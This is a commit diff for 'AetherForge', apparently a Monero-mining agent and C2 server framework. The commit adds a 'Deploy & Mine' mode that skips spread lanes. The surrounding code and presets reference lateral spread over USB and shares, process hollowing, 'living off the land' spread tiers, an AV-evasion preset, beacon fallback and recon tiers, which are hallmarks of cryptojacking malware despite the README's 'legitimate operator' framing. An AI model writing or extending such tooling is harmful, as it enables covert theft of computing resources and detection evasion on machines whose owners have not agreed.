Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
10
README.md
10
README.md
@@ -316,6 +316,16 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
|
|||||||
|
|
||||||
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
||||||
|
|
||||||
|
### Simple start (deploy → test → mine)
|
||||||
|
|
||||||
|
Three steps — no spread, no triple onion, no Probe & Join required:
|
||||||
|
|
||||||
|
1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
|
||||||
|
2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
|
||||||
|
3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
|
||||||
|
|
||||||
|
Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
|
||||||
|
|
||||||
### Operator path (dev control PC)
|
### Operator path (dev control PC)
|
||||||
|
|
||||||
1. Double-click **`devrun.bat`** in the project root.
|
1. Double-click **`devrun.bat`** in the project root.
|
||||||
|
|||||||
@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
|
|||||||
c.miningChain = c.newMiningChainRunner()
|
c.miningChain = c.newMiningChainRunner()
|
||||||
if isSeeder {
|
if isSeeder {
|
||||||
deploy.StartSeederStaging(c.cfg)
|
deploy.StartSeederStaging(c.cfg)
|
||||||
} else if deploy.WantsDeferMining() {
|
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
|
||||||
go c.startMiningWhenReady(chainCtx)
|
go c.startMiningWhenReady(chainCtx)
|
||||||
} else {
|
} else {
|
||||||
c.miningChain.Start(chainCtx)
|
c.miningChain.Start(chainCtx)
|
||||||
@@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error {
|
|||||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||||
|
SimpleDeploy: c.cfg.SimpleDeploy,
|
||||||
JoinLane: c.getJoinLane(),
|
JoinLane: c.getJoinLane(),
|
||||||
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
|
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
|
||||||
SeederMode: c.cfg.SeederMode,
|
SeederMode: c.cfg.SeederMode,
|
||||||
@@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error {
|
|||||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||||
}
|
}
|
||||||
c.applyAuthLotlPolicy(resp)
|
c.applyAuthLotlPolicy(resp)
|
||||||
|
c.kickMiningAfterAuth()
|
||||||
c.startContingencyIfEnabled(c.miningCtx)
|
c.startContingencyIfEnabled(c.miningCtx)
|
||||||
c.applyAuthFleetRole(resp)
|
c.applyAuthFleetRole(resp)
|
||||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||||
@@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) {
|
|||||||
u.Fragment = ""
|
u.Fragment = ""
|
||||||
return u.String(), nil
|
return u.String(), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
|
||||||
|
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
|
||||||
|
func (c *AgentClient) kickMiningAfterAuth() {
|
||||||
|
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if c.miningCtx == nil || c.miningChain == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go func() {
|
||||||
|
log.Printf("[mining] restarting chain after auth with server policy")
|
||||||
|
c.miningChain.Restart(c.miningCtx)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|||||||
@@ -51,6 +51,7 @@ type AuthPayload struct {
|
|||||||
UTM string `json:"utm,omitempty"`
|
UTM string `json:"utm,omitempty"`
|
||||||
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
|
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
|
||||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
||||||
|
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||||
JoinLane string `json:"join_lane,omitempty"`
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||||
|
|||||||
63
agent/client/simple_deploy_test.go
Normal file
63
agent/client/simple_deploy_test.go
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWireTripleOnionNilWhenSimpleDeploy(t *testing.T) {
|
||||||
|
setupNoContainerRuntime(t)
|
||||||
|
cfg := baseMiningCfg()
|
||||||
|
cfg.SimpleDeploy = true
|
||||||
|
c := miningChainTestClient(t, cfg)
|
||||||
|
r := c.newMiningChainRunner()
|
||||||
|
if r.onion != nil {
|
||||||
|
t.Fatal("expected nil triple onion when SimpleDeploy baked")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSimpleDeployPolicySkipsTripleOnion(t *testing.T) {
|
||||||
|
setupNoContainerRuntime(t)
|
||||||
|
c := miningChainTestClient(t, baseMiningCfg())
|
||||||
|
raw, _ := json.Marshal(miner.SimpleDeployTripleOnionPolicy())
|
||||||
|
c.applyTripleOnionPolicyJSON(raw)
|
||||||
|
r := c.newMiningChainRunner()
|
||||||
|
if r.onion != nil {
|
||||||
|
t.Fatal("expected nil triple onion when server simple_deploy policy applied")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
|
||||||
|
setupNoContainerRuntime(t)
|
||||||
|
cfg := baseMiningCfg()
|
||||||
|
cfg.SimpleDeploy = true
|
||||||
|
c := miningChainTestClient(t, cfg)
|
||||||
|
c.miningChain = newTestMiningChainRunner(t, c)
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond)
|
||||||
|
defer cancel()
|
||||||
|
go c.startMiningWhenReady(ctx)
|
||||||
|
|
||||||
|
time.Sleep(150 * time.Millisecond)
|
||||||
|
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||||
|
t.Fatalf("simple deploy should wait for C2 before starting, active=%q", r.ActiveMethod)
|
||||||
|
}
|
||||||
|
|
||||||
|
c.connected.Store(true)
|
||||||
|
time.Sleep(200 * time.Millisecond)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
|
||||||
|
setupNoContainerRuntime(t)
|
||||||
|
cfg := baseMiningCfg()
|
||||||
|
cfg.SimpleDeploy = true
|
||||||
|
c := miningChainTestClient(t, cfg)
|
||||||
|
c.miningChain = newTestMiningChainRunner(t, c)
|
||||||
|
c.miningCtx = context.Background()
|
||||||
|
// must not panic or restart when simple deploy
|
||||||
|
c.kickMiningAfterAuth()
|
||||||
|
}
|
||||||
@@ -26,6 +26,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
|
|||||||
if err := json.Unmarshal(raw, &p); err != nil {
|
if err := json.Unmarshal(raw, &p); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if p.SimpleDeploy {
|
||||||
|
p = miner.SimpleDeployTripleOnionPolicy()
|
||||||
|
}
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
|
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
|
||||||
c.triplePolicyLoaded = true
|
c.triplePolicyLoaded = true
|
||||||
@@ -34,6 +37,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
|
|||||||
|
|
||||||
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
|
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
|
||||||
c := r.client
|
c := r.client
|
||||||
|
if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
policy := c.tripleOnionPolicy()
|
policy := c.tripleOnionPolicy()
|
||||||
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
||||||
RunReconTier: r.runReconTier,
|
RunReconTier: r.runReconTier,
|
||||||
|
|||||||
@@ -113,6 +113,9 @@ type BuiltinConfig struct {
|
|||||||
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
|
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
|
||||||
HTTPSBeaconAfterMin int
|
HTTPSBeaconAfterMin int
|
||||||
|
|
||||||
|
// SimpleDeploy skips triple-onion recon/deploy and starts mining tier chain after C2 auth.
|
||||||
|
SimpleDeploy bool
|
||||||
|
|
||||||
// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
|
// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
|
||||||
LotlOnionEnabled bool
|
LotlOnionEnabled bool
|
||||||
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ const (
|
|||||||
|
|
||||||
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
|
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
|
||||||
type TripleOnionPolicy struct {
|
type TripleOnionPolicy struct {
|
||||||
|
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||||
PatchFirst bool `json:"patch_first,omitempty"`
|
PatchFirst bool `json:"patch_first,omitempty"`
|
||||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||||
@@ -29,6 +30,16 @@ type TripleOnionPolicy struct {
|
|||||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes.
|
||||||
|
func SimpleDeployTripleOnionPolicy() TripleOnionPolicy {
|
||||||
|
return TripleOnionPolicy{
|
||||||
|
SimpleDeploy: true,
|
||||||
|
PatchFirst: false,
|
||||||
|
SkipMiningOnHighRisk: false,
|
||||||
|
HighRiskThreshold: 100,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
|
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
|
||||||
func DefaultTripleOnionPolicy() TripleOnionPolicy {
|
func DefaultTripleOnionPolicy() TripleOnionPolicy {
|
||||||
return TripleOnionPolicy{
|
return TripleOnionPolicy{
|
||||||
|
|||||||
@@ -122,6 +122,7 @@ type WebRTCMeshPolicySettings struct {
|
|||||||
|
|
||||||
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
||||||
type TripleOnionSettings struct {
|
type TripleOnionSettings struct {
|
||||||
|
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||||
PatchFirst bool `json:"patch_first,omitempty"`
|
PatchFirst bool `json:"patch_first,omitempty"`
|
||||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||||
|
|||||||
@@ -38,6 +38,7 @@ type ServerPolicy struct {
|
|||||||
|
|
||||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||||
type TripleOnionPolicy struct {
|
type TripleOnionPolicy struct {
|
||||||
|
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||||
PatchFirst bool `json:"patch_first,omitempty"`
|
PatchFirst bool `json:"patch_first,omitempty"`
|
||||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||||
|
|||||||
@@ -689,6 +689,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
Campaign string `json:"campaign"`
|
Campaign string `json:"campaign"`
|
||||||
UTM string `json:"utm"`
|
UTM string `json:"utm"`
|
||||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||||
|
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||||
JoinLane string `json:"join_lane,omitempty"`
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||||
@@ -941,9 +942,16 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
resp["mining_tier_policy"] = mp
|
|
||||||
top := policy.TripleOnionPolicy
|
top := policy.TripleOnionPolicy
|
||||||
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
if auth.SimpleDeploy || top.SimpleDeploy {
|
||||||
|
top = TripleOnionPolicy{
|
||||||
|
SimpleDeploy: true,
|
||||||
|
PatchFirst: false,
|
||||||
|
SkipMiningOnHighRisk: false,
|
||||||
|
HighRiskThreshold: 100,
|
||||||
|
}
|
||||||
|
mp.ForceTier = "cpu_inprocess"
|
||||||
|
} else if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||||||
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
||||||
top.PatchFirst = true
|
top.PatchFirst = true
|
||||||
top.HighRiskThreshold = 50
|
top.HighRiskThreshold = 50
|
||||||
@@ -953,6 +961,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
resp["triple_onion_policy"] = top
|
resp["triple_onion_policy"] = top
|
||||||
|
resp["mining_tier_policy"] = mp
|
||||||
spreadPolicy := map[string]interface{}{}
|
spreadPolicy := map[string]interface{}{}
|
||||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||||
|
|||||||
@@ -119,6 +119,9 @@ type BuildRequest struct {
|
|||||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||||
|
|
||||||
|
// SimpleDeploy — skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine preset).
|
||||||
|
SimpleDeploy bool `json:"simple_deploy"`
|
||||||
|
|
||||||
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
|
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
|
||||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||||
@@ -1319,6 +1322,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
HTTPSBeaconFallback: %v,
|
HTTPSBeaconFallback: %v,
|
||||||
HTTPSBeaconAfterMin: %d,
|
HTTPSBeaconAfterMin: %d,
|
||||||
|
|
||||||
|
SimpleDeploy: %v,
|
||||||
LotlOnionEnabled: %v,
|
LotlOnionEnabled: %v,
|
||||||
LotlPolicyFromServer: %v,
|
LotlPolicyFromServer: %v,
|
||||||
LotlOnionTiers: %s,
|
LotlOnionTiers: %s,
|
||||||
@@ -1418,6 +1422,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.AgentKillAfterDays,
|
req.AgentKillAfterDays,
|
||||||
httpsBeaconFallbackEnabled(req),
|
httpsBeaconFallbackEnabled(req),
|
||||||
httpsBeaconAfterMin(req),
|
httpsBeaconAfterMin(req),
|
||||||
|
req.SimpleDeploy,
|
||||||
req.LotlOnionEnabled,
|
req.LotlOnionEnabled,
|
||||||
req.LotlPolicyFromServer,
|
req.LotlPolicyFromServer,
|
||||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||||
|
|||||||
70
server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
Normal file
70
server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
import { Link } from 'react-router-dom';
|
||||||
|
import type { Agent } from '../../types';
|
||||||
|
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
agents: Agent[];
|
||||||
|
selectedIds?: Set<string>;
|
||||||
|
onAction?: (message: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Banner when agents are online but not hashing — with actionable fix buttons. */
|
||||||
|
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
||||||
|
const stuck = agentsConnectedNotHashing(agents);
|
||||||
|
if (stuck.length === 0) return null;
|
||||||
|
|
||||||
|
const targetIds =
|
||||||
|
selectedIds && selectedIds.size > 0
|
||||||
|
? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
|
||||||
|
: stuck.map((a) => a.id);
|
||||||
|
|
||||||
|
const runBulk = async (action: string, label: string) => {
|
||||||
|
if (targetIds.length === 0) {
|
||||||
|
onAction?.(`No selected online agents without hashrate.`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const r = await api.sendBulkCommand(targetIds, action);
|
||||||
|
onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
|
||||||
|
} catch (e) {
|
||||||
|
onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const sample = stuck[0];
|
||||||
|
const status = simpleDeployStatus(sample);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
|
||||||
|
<div>
|
||||||
|
<strong>
|
||||||
|
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
|
||||||
|
</strong>
|
||||||
|
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
|
||||||
|
{status.message}. "Deploy" here means C2 registration + mining tier probe — not lateral spread.
|
||||||
|
Check Calibrate wallet/pool, then run diagnostics or restart mining.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="connected-not-mining-actions">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-sm btn-primary"
|
||||||
|
onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
|
||||||
|
>
|
||||||
|
Run diagnostics
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-sm btn-outline"
|
||||||
|
onClick={() => void runBulk('restart', 'Restart mining')}
|
||||||
|
>
|
||||||
|
Restart mining
|
||||||
|
</button>
|
||||||
|
<Link to="/forge" className="btn btn-sm btn-outline">
|
||||||
|
Re-forge (Deploy & Mine)
|
||||||
|
</Link>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -65,6 +65,8 @@ export function pickBestServerUrl(current: string, candidates: string[]): string
|
|||||||
export function recommendedForgePreset(): Partial<BuildRequest> {
|
export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||||
return {
|
return {
|
||||||
...FORGE_BUILD_DEFAULTS,
|
...FORGE_BUILD_DEFAULTS,
|
||||||
|
simple_deploy: true,
|
||||||
|
miner_execution: 'inprocess',
|
||||||
mining_mode: 'idle',
|
mining_mode: 'idle',
|
||||||
idle_threshold_pct: 20,
|
idle_threshold_pct: 20,
|
||||||
idle_duration_minutes: 5,
|
idle_duration_minutes: 5,
|
||||||
|
|||||||
65
server/web/src/help/simpleDeploy.test.ts
Normal file
65
server/web/src/help/simpleDeploy.test.ts
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import type { Agent } from '../types';
|
||||||
|
import {
|
||||||
|
agentsConnectedNotHashing,
|
||||||
|
simpleDeployStatus,
|
||||||
|
simpleMinePreset,
|
||||||
|
} from './simpleDeploy';
|
||||||
|
|
||||||
|
function agent(partial: Partial<Agent>): Agent {
|
||||||
|
return {
|
||||||
|
id: 'a1',
|
||||||
|
name: 'host-1',
|
||||||
|
status: 'online',
|
||||||
|
hashrate_15s: 0,
|
||||||
|
hashrate_1m: 0,
|
||||||
|
hashrate_15m: 0,
|
||||||
|
...partial,
|
||||||
|
} as Agent;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('simpleDeployStatus', () => {
|
||||||
|
it('reports mining when hashrate > 0', () => {
|
||||||
|
const s = simpleDeployStatus(agent({ hashrate_15m: 420, lotl_tier: 'cpu_inprocess' }));
|
||||||
|
expect(s.phase).toBe('mining');
|
||||||
|
expect(s.message).toMatch(/420/);
|
||||||
|
expect(s.message).toMatch(/cpu inprocess/i);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('reports testing when online without hashrate', () => {
|
||||||
|
const s = simpleDeployStatus(agent({ lotl_tier: 'container' }));
|
||||||
|
expect(s.phase).toBe('testing');
|
||||||
|
expect(s.message).toMatch(/container/i);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('reports failed when chain exhausted', () => {
|
||||||
|
const s = simpleDeployStatus(agent({ chain_exhausted: true, last_error: 'pool unreachable' }));
|
||||||
|
expect(s.phase).toBe('failed');
|
||||||
|
expect(s.message).toMatch(/pool unreachable/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('reports offline when not online', () => {
|
||||||
|
expect(simpleDeployStatus(agent({ status: 'offline' })).phase).toBe('offline');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('agentsConnectedNotHashing', () => {
|
||||||
|
it('filters online zero-hash agents', () => {
|
||||||
|
const list = agentsConnectedNotHashing([
|
||||||
|
agent({ id: '1', hashrate_15m: 0 }),
|
||||||
|
agent({ id: '2', hashrate_15m: 100 }),
|
||||||
|
agent({ id: '3', status: 'offline', hashrate_15m: 0 }),
|
||||||
|
]);
|
||||||
|
expect(list.map((a) => a.id)).toEqual(['1']);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('simpleMinePreset', () => {
|
||||||
|
it('disables spread and enables simple_deploy', () => {
|
||||||
|
const p = simpleMinePreset();
|
||||||
|
expect(p.simple_deploy).toBe(true);
|
||||||
|
expect(p.miner_execution).toBe('inprocess');
|
||||||
|
expect(p.lotl_onion_enabled).toBe(false);
|
||||||
|
expect(p.auto_spread).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
99
server/web/src/help/simpleDeploy.ts
Normal file
99
server/web/src/help/simpleDeploy.ts
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
import type { Agent } from '../types';
|
||||||
|
import { formatHashrate } from './fleetFilters';
|
||||||
|
|
||||||
|
export type SimpleDeployPhase = 'offline' | 'testing' | 'mining' | 'failed';
|
||||||
|
|
||||||
|
export interface SimpleDeployStatus {
|
||||||
|
phase: SimpleDeployPhase;
|
||||||
|
message: string;
|
||||||
|
tier?: string;
|
||||||
|
hashrate?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Human status for deploy→test→mine operator path. */
|
||||||
|
export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
|
||||||
|
if (agent.status !== 'online') {
|
||||||
|
return { phase: 'offline', message: 'Agent offline — run the forged worker on the host' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const hr =
|
||||||
|
agent.mining_hashrate ??
|
||||||
|
agent.hashrate_15m ??
|
||||||
|
agent.hashrate_15s ??
|
||||||
|
0;
|
||||||
|
const tier = agent.lotl_tier || agent.active_method || undefined;
|
||||||
|
|
||||||
|
if (hr > 0) {
|
||||||
|
const label = tier ? tier.replace(/_/g, ' ') : 'in-process';
|
||||||
|
return {
|
||||||
|
phase: 'mining',
|
||||||
|
message: `Mining on ${label} at ${formatHashrate(hr)}`,
|
||||||
|
tier,
|
||||||
|
hashrate: hr,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (agent.chain_exhausted) {
|
||||||
|
const err = agent.last_error || agent.failed_methods?.[0]?.reason;
|
||||||
|
return {
|
||||||
|
phase: 'failed',
|
||||||
|
message: err || 'Mining chain exhausted — all tiers failed',
|
||||||
|
tier,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tier) {
|
||||||
|
return {
|
||||||
|
phase: 'testing',
|
||||||
|
message: `Testing tier ${tier.replace(/_/g, ' ')} — waiting for hashrate`,
|
||||||
|
tier,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
phase: 'testing',
|
||||||
|
message: 'Connected — probing mining tiers (no spread phase on simple deploy)',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Online agents that registered but report zero hashrate. */
|
||||||
|
export function agentsConnectedNotHashing(agents: Agent[]): Agent[] {
|
||||||
|
return agents.filter(
|
||||||
|
(a) =>
|
||||||
|
a.status === 'online' &&
|
||||||
|
(a.mining_hashrate ?? a.hashrate_15m ?? a.hashrate_15s ?? 0) <= 0
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Forge preset: registry + in-process mining, no spread or triple onion. */
|
||||||
|
export function simpleMinePreset(): {
|
||||||
|
simple_deploy: boolean;
|
||||||
|
miner_execution: string;
|
||||||
|
lotl_onion_enabled: boolean;
|
||||||
|
lotl_policy_from_server: boolean;
|
||||||
|
auto_spread: boolean;
|
||||||
|
usb_spread: boolean;
|
||||||
|
share_spread: boolean;
|
||||||
|
spread_kit: boolean;
|
||||||
|
gpu_enabled: boolean;
|
||||||
|
process_hollowing: boolean;
|
||||||
|
remote_aggressive: boolean;
|
||||||
|
fusion_enabled: boolean;
|
||||||
|
mining_mode: string;
|
||||||
|
} {
|
||||||
|
return {
|
||||||
|
simple_deploy: true,
|
||||||
|
miner_execution: 'inprocess',
|
||||||
|
lotl_onion_enabled: false,
|
||||||
|
lotl_policy_from_server: false,
|
||||||
|
auto_spread: false,
|
||||||
|
usb_spread: false,
|
||||||
|
share_spread: false,
|
||||||
|
